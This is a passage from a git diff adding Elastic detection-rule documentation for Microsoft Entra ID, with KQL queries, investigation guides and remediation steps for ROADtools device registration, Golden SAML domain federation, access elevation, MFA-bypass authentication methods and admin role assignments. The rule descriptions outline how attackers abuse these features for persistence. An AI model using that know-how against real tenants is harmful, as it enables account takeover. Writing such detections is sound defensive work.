convention +are suspicious. +- Review `entityanalytics_entra_id.device.registration_date_time` and `entityanalytics_entra_id.device.trust_type` to +establish when and how the device was registered (e.g., Azure AD registered vs. joined). +- Identify the registered owner via `entityanalytics_entra_id.device.registered_owners.user_principal_name` and determine +whether that user is expected to register a new device. +- Check `entityanalytics_entra_id.device.is_managed` and `entityanalytics_entra_id.device.is_compliant`; ROADtools +devices are typically unmanaged and non-compliant. +- Pivot to `logs-azure.auditlogs-*` for the corresponding `Add device` event (initiated by the `Device Registration +Service`) and to `logs-azure.signinlogs-*` for sign-ins by the device owner where the incoming token type is a +`primaryRefreshToken`. +- Correlate with the companion audit-log rule "Entra ID Device Registration with ROADtools Default OS Build" +for the same device name to confirm registration-time activity. + + +*False positive analysis* + + +- Unmanaged or imaged Windows 10 20H1 hosts may legitimately report the `10.0.19041.928` build with a default +`DESKTOP-` host name. Validate against device inventory and patch baseline. +- Authorized security assessments using ROADtools will appear in inventory. Document the engagement and add scoped +exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the device from Entra ID and revoke the owner's refresh tokens and primary refresh +tokens. +- Disable the account or reset credentials per policy and review for additional persistence (added owners, app +registrations, or service principal credentials). +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and +require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"entityanalytics_entra_id.device" and + event.provider:"Microsoft Entra ID" and + host.name:DESKTOP-* and host.os.version:"10.0.19041.928" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-domain-federation-configuration-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-domain-federation-configuration-change.asciidoc new file mode 100644 index 0000000000..2e988ad054 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-domain-federation-configuration-change.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-entra-id-domain-federation-configuration-change]] +=== Entra ID Domain Federation Configuration Change + +Detects when domain federation settings are configured or modified in an Entra ID tenant via the Microsoft Graph API. Adversaries with Global Administrator or Domain Administrator privileges may add a custom domain, verify ownership, and configure it to federate authentication with an attacker-controlled identity provider. Once federated, the adversary can forge SAML or WS-Federation tokens to authenticate as any user under that domain, bypassing MFA and conditional access policies. This technique, commonly known as Golden SAML, was used by UNC2452 (APT29) during the SolarWinds campaign for persistent, stealthy access to victim tenants. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/unc2452-merged-into-apt29 +* https://learn.microsoft.com/en-us/graph/api/domain-post-federationconfiguration +* https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360 +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ +* https://techcommunity.microsoft.com/blog/microsoft-entra-blog/understanding-and-mitigating-golden-saml-attacks/4418864 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Domain Federation Configuration Change* + + +This rule detects when domain federation settings are added or modified in an Entra ID tenant. Domain federation allows organizations to delegate authentication for a UPN domain suffix to an external Identity Provider (IdP). While this is a legitimate feature for organizations using external IdPs like Okta or ADFS, adversaries can abuse it to establish persistent access by federating a domain to an attacker-controlled IdP. + +This is the highest blast radius federation abuse technique, unlike app-level federated identity credentials (which affect a single service principal), domain federation affects all users whose UPN matches the federated domain. + +Both events share the same `correlation_id` but neither includes the federation configuration details (issuer URI, signing certificate) in the event properties. + + +*Possible investigation steps* + + +- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `ipAddress` to identify who made the change and from where. +- For `"Set domain authentication"` events, check `azure.auditlogs.properties.target_resources.0.display_name` to identify which domain was federated. +- Use `azure.correlation_id` to correlate the companion `"Set federation settings on domain"` event and establish the full context. +- Query the Graph API to retrieve the actual federation configuration details, since they are not logged in the audit event: `Get-MgDomainFederationConfiguration -DomainId ""`. +- Review the configured issuer URI and signing certificate to determine if the external IdP is legitimate or attacker-controlled. +- Check for precursor events with the same actor: `"Add unverified domain"` and `"Verify domain"` events targeting the same domain would indicate the full attack chain. +- Review Azure sign-in logs for any authentication activity from users under the newly federated domain. +- Investigate whether the domain was recently added to the tenant or was a pre-existing domain whose authentication type was changed. +- Review the `user_agent.original` field for the actor to determine if the change was made via the Azure Portal, Microsoft Graph API, or PowerShell, which may provide additional context on whether this was a manual or scripted action. + + +*False positive analysis* + + +- Legitimate domain federation changes by IT administrators during initial tenant setup or IdP migrations (e.g., migrating from ADFS to Okta). +- Organizational restructuring such as mergers or acquisitions where new domains are federated. +- Scheduled maintenance or updates to federation certificates or IdP endpoints. +- Validate with the Global Administrator or identity team before dismissing. + + +*Response and remediation* + + +- If the federation change is unauthorized, immediately remove the federation configuration: `Remove-MgDomainFederationConfiguration -DomainId "" -InternalDomainFederationId ""`. +- Revert the domain authentication type to managed if it should not be federated. +- Revoke all active sessions and tokens for users under the affected domain. +- Audit recent sign-in activity for users under the federated domain to identify unauthorized access. +- Investigate how the adversary obtained Global Administrator privileges to perform this action. +- Review and restrict who has Domain Administrator or Global Administrator roles using PIM (Privileged Identity Management). +- Implement alerts on domain management operations and restrict domain federation changes via conditional access policies. + + +==== Setup + + + +*Microsoft Entra ID Audit Logs* + +This rule requires the Azure integration with Microsoft Entra ID Audit Logs data stream ingesting in your Elastic Stack deployment. For more information, refer to the https://www.elastic.co/docs/reference/integrations/azure/adlogs[Microsoft Entra ID Audit Logs integration documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.auditlogs + and azure.auditlogs.properties.category: DirectoryManagement + and event.action: ("Set domain authentication" or "Set federation settings on domain") + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-elevated-access-to-user-access-administrator.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-elevated-access-to-user-access-administrator.asciidoc new file mode 100644 index 0000000000..aa9ec47bc3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-elevated-access-to-user-access-administrator.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-entra-id-elevated-access-to-user-access-administrator]] +=== Entra ID Elevated Access to User Access Administrator + +Identifies when a user has elevated their access to User Access Administrator for their Azure Resources. The User Access Administrator role allows users to manage user access to Azure resources, including the ability to assign roles and permissions. Adversaries may target an Entra ID Global Administrator or other privileged role to elevate their access to User Access Administrator, which can lead to further privilege escalation and unauthorized access to sensitive resources. This is a New Terms rule that only signals if the user principal name has not been seen doing this activity in the last 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin?tabs=azure-portal%2Centra-audit-logs/ +* https://permiso.io/blog/azures-apex-permissions-elevate-access-the-logs-security-teams-overlook +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 6 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Entra ID Elevated Access to User Access Administrator* + + +This rule identifies when a user elevates their permissions to the "User Access Administrator" role in Azure RBAC. This role allows full control over access management for Azure resources and can be abused by attackers for lateral movement, persistence, or privilege escalation. Since this is a New Terms rule, the alert will only trigger if the user has not performed this elevation in the past 14 days, helping reduce alert fatigue. + + +*Possible investigation steps* + + +- Review the `azure.auditlogs.properties.initiated_by.user.userPrincipalName` field to identify the user who elevated access. +- Check `source.ip` and associated `source.geo.*` fields to determine the origin of the action. Confirm whether the IP, ASN, and location are expected for this user. +- Investigate the application ID from `azure.auditlogs.properties.additional_details.value` to determine which interface or method was used to elevate access. +- Pivot to Azure `signinlogs` or Entra `auditlogs` to: + - Review recent login history for the user. + - Look for unusual sign-in patterns or MFA prompts. + - Determine whether the account has performed any other privilege-related operations. +- Correlate with directory role assignments or role-based access control (RBAC) modifications to assess whether the elevated access was used to add roles or modify permissions. + + +*False positive analysis* + + +- Legitimate admin actions may involve access elevation during maintenance, migration, or investigations. +- Some IT departments may elevate access temporarily without leaving structured change records. +- Review internal tickets, change logs, or admin activity dashboards for approved operations. + + +*Response and remediation* + + +- If elevation was not authorized: + - Immediately remove the User Access Administrator role from the account. + - Disable or lock the account and begin credential rotation. + - Audit activity performed by the account after elevation, especially changes to role assignments and resource access. +- If suspicious: + - Notify the user and confirm whether they performed the action. + - Check for any automation or scripts that could be exploiting unused elevated access paths. + - Review conditional access and PIM (Privileged Identity Management) configurations to limit elevation without approval. +- Strengthen posture: + - Require MFA and approval for all privilege escalation actions. + - Consider enabling JIT (Just-in-Time) access with expiration. + - Add alerts for repeated or unusual use of `Microsoft.Authorization/elevateAccess/action`. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.auditlogs + and ( + azure.auditlogs.operation_name: "User has elevated their access to User Access Administrator for their Azure Resources" or + azure.auditlogs.properties.additional_details.value: "Microsoft.Authorization/elevateAccess/action" + ) and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-external-authentication-methods-eam-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-external-authentication-methods-eam-modified.asciidoc new file mode 100644 index 0000000000..70cc65971e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-external-authentication-methods-eam-modified.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-entra-id-external-authentication-methods-eam-modified]] +=== Entra ID External Authentication Methods (EAM) Modified + +Identifies when an external authentication method (EAM) is added or modified in Entra ID. EAM may allow adversaries to bypass multi-factor authentication (MFA) requirements, potentially leading to unauthorized access to user accounts and sensitive resources by using bring-your-own IdP (BYOIDP) methods. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.graphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Entra ID +* Platform: Azure + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID External Authentication Methods (EAM) Modified* + + +This rule detects suspicious modifications to external authentication methods (EAMs) in Microsoft Entra ID via Microsoft Graph API. Adversaries may abuse this capability to bypass multi-factor authentication (MFA), enabling persistence or unauthorized access through bring-your-own identity provider (BYOIDP) methods. + + +*Possible investigation steps* + +- Validate that `event.action` is `"Microsoft Graph Activity"` and that `http.request.method` is `"PATCH"`, indicating a configuration change was made. +- Confirm that `url.path` contains the string `authenticationMethodsPolicy`, which is associated with external authentication settings in Entra ID. +- Review `user.id` to identify the Azure AD object ID of the user or service principal that initiated the change. +- Examine `azure.graphactivitylogs.properties.app_id` to determine the application ID that performed the action. +- Analyze `azure.graphactivitylogs.properties.scopes[]` to assess whether the request used privileged scopes such as `AuthenticationMethod.ReadWrite.All`. +- Review the geographic origin of the request using `source.geo.*` and the `source.ip` field to identify anomalous locations. +- Examine `user_agent.original` to determine whether the request was made through a browser or automation (e.g., scripted activity). +- Correlate `azure.graphactivitylogs.properties.token_issued_at` and `azure.graphactivitylogs.properties.time_generated` to assess whether the change occurred shortly after token issuance. +- Investigate additional activity by the same `user.id` or `app_id` within a short timeframe (e.g., 30 minutes) to detect related suspicious behavior. +- Use the `operation_id` or `correlation_id` to pivot across related Graph API or Entra ID activity logs, if available. + + +*False positive analysis* + +- Legitimate administrative activity may trigger this rule, such as configuring FIDO2 or enabling passwordless sign-in methods during onboarding or security upgrades. +- Some enterprise integrations or federated identity providers may programmatically update EAM settings as part of legitimate operations. +- Routine security assessments or red team exercises may include changes to authentication policies. Validate with internal teams when in doubt. +- If appropriate, filter or suppress alerts originating from known trusted service principals or administrative accounts. + + +*Response and remediation* + +- Confirm whether the user or application that made the change was authorized to do so. If not, immediately revoke access and reset credentials as needed. +- Review the application or automation that triggered the change to ensure it is legitimate. If unauthorized, disable or remove it and rotate secrets or tokens it may have accessed. +- Audit current external authentication configurations and conditional access policies to ensure no persistent backdoors were introduced. +- Revoke session tokens associated with the change using Entra ID's portal or Microsoft Graph API, and enforce reauthentication where appropriate. +- Implement stricter RBAC or conditional access policies to prevent unauthorized EAM changes in the future. +- Monitor for repeat or similar activity from the same source or identity as part of an ongoing compromise assessment. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.graphactivitylogs and + url.path: *authenticationMethodsPolicy* and + http.request.method: "PATCH" and + http.response.status_code: 200 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-external-guest-user-invited.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-external-guest-user-invited.asciidoc new file mode 100644 index 0000000000..d315e79003 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-external-guest-user-invited.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-entra-id-external-guest-user-invited]] +=== Entra ID External Guest User Invited + +Identifies an invitation to an external user in Azure Active Directory (AD). Azure AD is extended to include collaboration, allowing you to invite people from outside your organization to be guest users in your cloud account. Unless there is a business need to provision guest access, it is best practice avoid creating guest users. Guest users could potentially be overlooked indefinitely leading to a potential vulnerability. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/governance/policy/samples/cis-azure-1-1-0 + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity +* Data Source: Entra ID Audit Logs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID External Guest User Invited* + + +Azure Active Directory (AD) facilitates collaboration by allowing external users to be invited as guest users, enhancing flexibility in cloud environments. However, adversaries may exploit this feature to gain unauthorized access, posing security risks. The detection rule monitors audit logs for successful external user invitations, flagging potential misuse by identifying unusual or unnecessary guest account creations. + + +*Possible investigation steps* + + +- Review the audit logs to confirm the details of the invitation event, focusing on the operation name "Invite external user" and ensuring the event outcome is marked as Success. +- Identify the inviter by examining the properties of the audit log entry, such as the initiator's user ID or email, to determine if the invitation was expected or authorized. +- Check the display name and other attributes of the invited guest user to assess if they align with known business needs or if they appear suspicious or unnecessary. +- Investigate the inviter's recent activity in Azure AD to identify any unusual patterns or deviations from their typical behavior that might indicate compromised credentials. +- Consult with relevant business units or stakeholders to verify if there was a legitimate business requirement for the guest user invitation and if it aligns with current projects or collaborations. +- Review the access permissions granted to the guest user to ensure they are limited to the minimum necessary for their role and do not expose sensitive resources. + + +*False positive analysis* + + +- Invitations for legitimate business partners or vendors may trigger alerts. Regularly review and whitelist known partners to prevent unnecessary alerts. +- Internal users with dual roles or responsibilities that require external access might be flagged. Maintain a list of such users and update it periodically to exclude them from alerts. +- Automated systems or applications that require guest access for integration purposes can cause false positives. Identify these systems and configure exceptions in the monitoring rules. +- Temporary projects or collaborations often involve inviting external users. Document these projects and set expiration dates for guest access to minimize false positives. +- Frequent invitations from specific departments, such as HR or Marketing, for events or collaborations can be common. Establish a process to verify and approve these invitations to reduce false alerts. + + +*Response and remediation* + + +- Immediately disable the guest user account identified in the alert to prevent any unauthorized access or activities. +- Review the audit logs to determine the source and context of the invitation, identifying the user or system that initiated the guest invitation. +- Notify the security team and relevant stakeholders about the unauthorized guest invitation for further investigation and potential escalation. +- Conduct a security assessment of the affected Azure AD environment to identify any other unauthorized guest accounts or suspicious activities. +- Implement conditional access policies to restrict guest user invitations to authorized personnel only, reducing the risk of future unauthorized invitations. +- Enhance monitoring and alerting for guest user invitations by integrating with a Security Information and Event Management (SIEM) system to ensure timely detection and response. +- Review and update the organization's Azure AD guest user policies to ensure they align with security best practices and business needs, minimizing unnecessary guest access. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Invite external user" and azure.auditlogs.properties.target_resources.*.display_name:guest and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned-pim-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned-pim-user.asciidoc new file mode 100644 index 0000000000..6eda170b70 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned-pim-user.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned-pim-user]] +=== Entra ID Global Administrator Role Assigned (PIM User) + +Identifies an Azure Active Directory (AD) Global Administrator role addition to a Privileged Identity Management (PIM) user account. PIM is a service that enables you to manage, control, and monitor access to important resources in an organization. Users who are assigned to the Global administrator role can read and modify any administrative setting in your Azure AD organization. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* filebeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity +* Data Source: Entra ID Audit Logs + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID Global Administrator Role Assigned (PIM User)* + + +Azure AD's Global Administrator role grants extensive access, allowing users to modify any administrative setting. Privileged Identity Management (PIM) helps manage and monitor such access. Adversaries may exploit this by adding themselves or others to this role, gaining persistent control. The detection rule identifies suspicious role additions by monitoring specific audit logs, focusing on successful role assignments to PIM users, thus helping to flag potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the Azure audit logs to confirm the details of the role addition event, focusing on the event.dataset:azure.auditlogs and azure.auditlogs.properties.category:RoleManagement fields. +- Identify the user account that was added to the Global Administrator role by examining the azure.auditlogs.properties.target_resources.*.display_name field. +- Check the event.outcome field to ensure the role addition was successful and not a failed attempt. +- Investigate the user account's recent activities and login history to determine if there are any anomalies or signs of compromise. +- Verify if the role addition aligns with any recent administrative changes or requests within the organization to rule out legitimate actions. +- Assess the potential impact of the role addition by reviewing the permissions and access levels granted to the user. +- If suspicious activity is confirmed, initiate a response plan to remove unauthorized access and secure the affected accounts. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff are assigned the Global Administrator role for maintenance or updates. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Automated scripts or tools used for role assignments can cause false positives if they frequently add users to the Global Administrator role. Consider excluding these automated processes from monitoring or adjusting the detection rule to account for their activity. +- Temporary project-based role assignments might be flagged as suspicious. Implement a process to document and pre-approve such assignments, allowing for their exclusion from alerts. +- Training or onboarding sessions where new administrators are temporarily granted elevated access can result in false positives. Establish a protocol to notify the monitoring team of these events in advance, so they can be excluded from the detection rule. + + +*Response and remediation* + + +- Immediately revoke the Global Administrator role from any unauthorized PIM user identified in the alert to prevent further unauthorized access. +- Conduct a thorough review of recent changes made by the affected account to identify any unauthorized modifications or suspicious activities. +- Reset the credentials of the compromised account and enforce multi-factor authentication (MFA) to secure the account against further unauthorized access. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on the affected account and related systems to detect any further suspicious activities. +- Review and update access policies and role assignments in Azure AD to ensure that only necessary personnel have elevated privileges. +- Document the incident and response actions taken for future reference and to improve incident response procedures. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.properties.category:RoleManagement and + azure.auditlogs.operation_name:("Add eligible member to role in PIM completed (permanent)" or + "Add member to role in PIM completed (timebound)") and + azure.auditlogs.properties.target_resources.*.display_name:"Global Administrator" and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned.asciidoc new file mode 100644 index 0000000000..f9e042f1de --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-entra-id-global-administrator-role-assigned]] +=== Entra ID Global Administrator Role Assigned + +In Microsoft Entra ID, permissions to manage resources are assigned using roles. The Global Administrator is a role that enables users to have access to all administrative features in Microsoft Entra ID and services that use Microsoft Entra ID identities like the Microsoft 365 Defender portal, the Microsoft 365 compliance center, Exchange, SharePoint Online, and Skype for Business Online. Attackers can add users as Global Administrators to maintain access and manage all subscriptions and their settings and resources. They can also elevate privilege to User Access Administrator to pivot into Azure resources. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ +* https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#global-administrator +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud 